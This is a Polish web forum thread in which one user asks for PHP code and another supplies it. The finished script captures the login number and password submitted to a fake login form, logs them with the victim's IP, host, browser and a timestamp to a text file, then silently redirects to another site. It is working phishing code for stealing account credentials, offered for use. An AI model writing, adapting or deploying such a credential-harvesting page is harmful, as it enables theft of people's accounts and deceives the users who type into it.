Przeróbka kodu oraz pomoc w napisaniu

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
Mam o to taki kod :
PHP:
<?php 
echo "Twój IP to: ".$_SERVER['REMOTE_ADDR']."<br />"; 
echo "Twój host to: ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."<br />"; 
echo "Twoja przeglądarka to: ".$_SERVER['HTTP_USER_AGENT']; 
?>
I chce żeby nie wyświetlało się to na stronie lecz wpisywane było w plik np.baza.txt



A drugiego nie mam i nie wiem jak napisać kod, ze po naciśnięciu np.usuń użytkownik zostaje przekierowany na inną stronę.

Z góry dziękuję
 

Shady69

Użytkownik
Dołączył
Luty 12, 2013
Posty
98
łapaj
PHP:
<?php
function prawdziwe_ip() {
        if(isset($_SERVER['HTTP_CLIENT_IP'])) $ip = $_SERVER['HTTP_CLIENT_IP'];
        elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        else $ip = $_SERVER['REMOTE_ADDR'];  

        return $ip;
} //funkcja zwracająca faktyczne ip

$dane = 'Dane przechwycone dnia '.date('d.m.y H:i:s').', 
adres IP: '.prawdziwe_ip().' | host: '.gethostbyaddr(prawdziwe_ip()).' | agent: '.$_SERVER['HTTP_USER_AGENT'];

$plik = @fopen('./',  'a') or die('Nie udalo sie zapisac pliku'); //otwarcie pliku
fwrite($plik, $dane); //zapis danych
fclose($plik);
?>
<a href="http://adres-strony.pl/">usun</a>
 
Ostatnia edycja:

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
Nie działa bo gdzieś jest błąd "Parse error: syntax error, unexpected T_STRING in **** on line 13"
nie ograniam także nie naprawie
 

Shady69

Użytkownik
Dołączył
Luty 12, 2013
Posty
98
literówka się wdała bo pisałem z palca ;) zaaktualizowałem post.
 

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
Ok. A propo tego przerzucania... da się zrobić tak że dopiero po 2 razie przerzuca na inną stronę bo jak od razu przerzuci to nie załapuje formularza do pliku.

Ps. Lub inny sposób żeby łapało od razu


Mam taki kod. i jak dodać do pobieranych formularzy date i ip ?
PHP:
<?php 
$uin = trim($_POST['uin']); 
$password = trim($_POST['password']); 

if(empty($uin) and empty($password)) { 
     
} 
else { 
     
    // dane pochodzące z formularza 
    $dane = $uin."`".$password."\n"; 
    // przypisanie zmniennej $file nazwy pliku 
    $file = "baza.txt"; 
    // uchwyt pliku, otwarcie do dopisania 
    $fp = fopen($file, "a"); 
    // blokada pliku do zapisu 
    flock($fp, 2); 
    // zapisanie danych do pliku 
    fwrite($fp, $dane); 
    // odblokowanie pliku 
    flock($fp, 3); 
    // zamknięcie pliku 
    fclose($fp); 


     
} 
?>

<?php
function prawdziwe_ip() {
        if(isset($_SERVER['HTTP_CLIENT_IP'])) $ip = $_SERVER['HTTP_CLIENT_IP'];
        elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        else $ip = $_SERVER['REMOTE_ADDR'];  

        return $ip;
} //funkcja zwracająca faktyczne ip

$dane = 'Dane przechwycone dnia '.date('d.m.y H:i:s').', 
adres IP: '.prawdziwe_ip().' | host: '.gethostbyaddr(prawdziwe_ip()).' | agent: '.$_SERVER['HTTP_USER_AGENT'];

$plik = @fopen('dane.txt',  'a') or die('Nie udalo sie zapisac pliku'); //otwarcie pliku
fwrite($plik, $dane); //zapis danych
fclose($plik);
?>
 
Ostatnia edycja:

Shady69

Użytkownik
Dołączył
Luty 12, 2013
Posty
98
napisz jeszcze raz, tym razem po polsku ;) co przenosi? w kodzie co podałeś nic nie przenosi tylko pobiera dane z formularza i zapisuje je do pliku, oraz sprawdza ip i go tez zapisuje do pliku - lekko bezsensu 2 razy. może poczytaj pierw trochę podstaw PHP.
 

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
No ttroche ogarniam. Ale nie potrafię tego połączyc bo mam błąd ciągle.


A z tym przerzucaniem chodzi mi o to że jak ktoś uzupełni formularz i naciśnie zaloguj to i zapisze ten formularz i przerzuci na inna stronę
 

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
Ktoś to ogarnia ? Bo ja próbuje od 2 dni i błąd mam za każdym razem w innej linijce
 

Shady69

Użytkownik
Dołączył
Luty 12, 2013
Posty
98
radzę przeczytać książke, bo nic tak nigdy nie osiągniesz. http://pl.wikibooks.org/wiki/PHP

PHP:
<?php  
$uin = trim($_POST['uin']); //usuwanie białych znaków z końca i początku lini
$password = trim($_POST['password']); //usuwanie białych znaków z końca i początku lini

if(!empty($uin) && !empty($password)) { //sprawdzenie, czy user podał dane

function prawdziwe_ip() { 
        if(isset($_SERVER['HTTP_CLIENT_IP'])) $ip = $_SERVER['HTTP_CLIENT_IP']; 
        elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
        else $ip = $_SERVER['REMOTE_ADDR'];   

        return $ip; 
} //funkcja zwracająca faktyczne ip 

$dane = "Dane przechwycone ".date("d.m.y H:i:s").",\n
adres IP: ".prawdziwe_ip()." | 
host: ".gethostbyaddr(prawdziwe_ip())." | 
agent: ".$_SERVER['HTTP_USER_AGENT']."\n
login: ".$_POST['uin']." | haslo: ".$_POST['password']."\n"; 

$plik = @fopen('dane.txt',  'a') or die('Nie udalo sie zapisac pliku'); //otwarcie pliku 
fwrite($plik, $dane); //zapis danych 
fclose($plik); //domknięcie

header('Location: http://adres-strony.pl/'); //przekierowanie na stronę
}
?>
 

adek204

Użytkownik
Dołączył
Wrzesień 30, 2012
Posty
49
Dzięki, że wgl chciało Ci się pomóc :).
Okey. Zacznę od od nowa i dzięki jeszcze raz :)
 
Do góry Bottom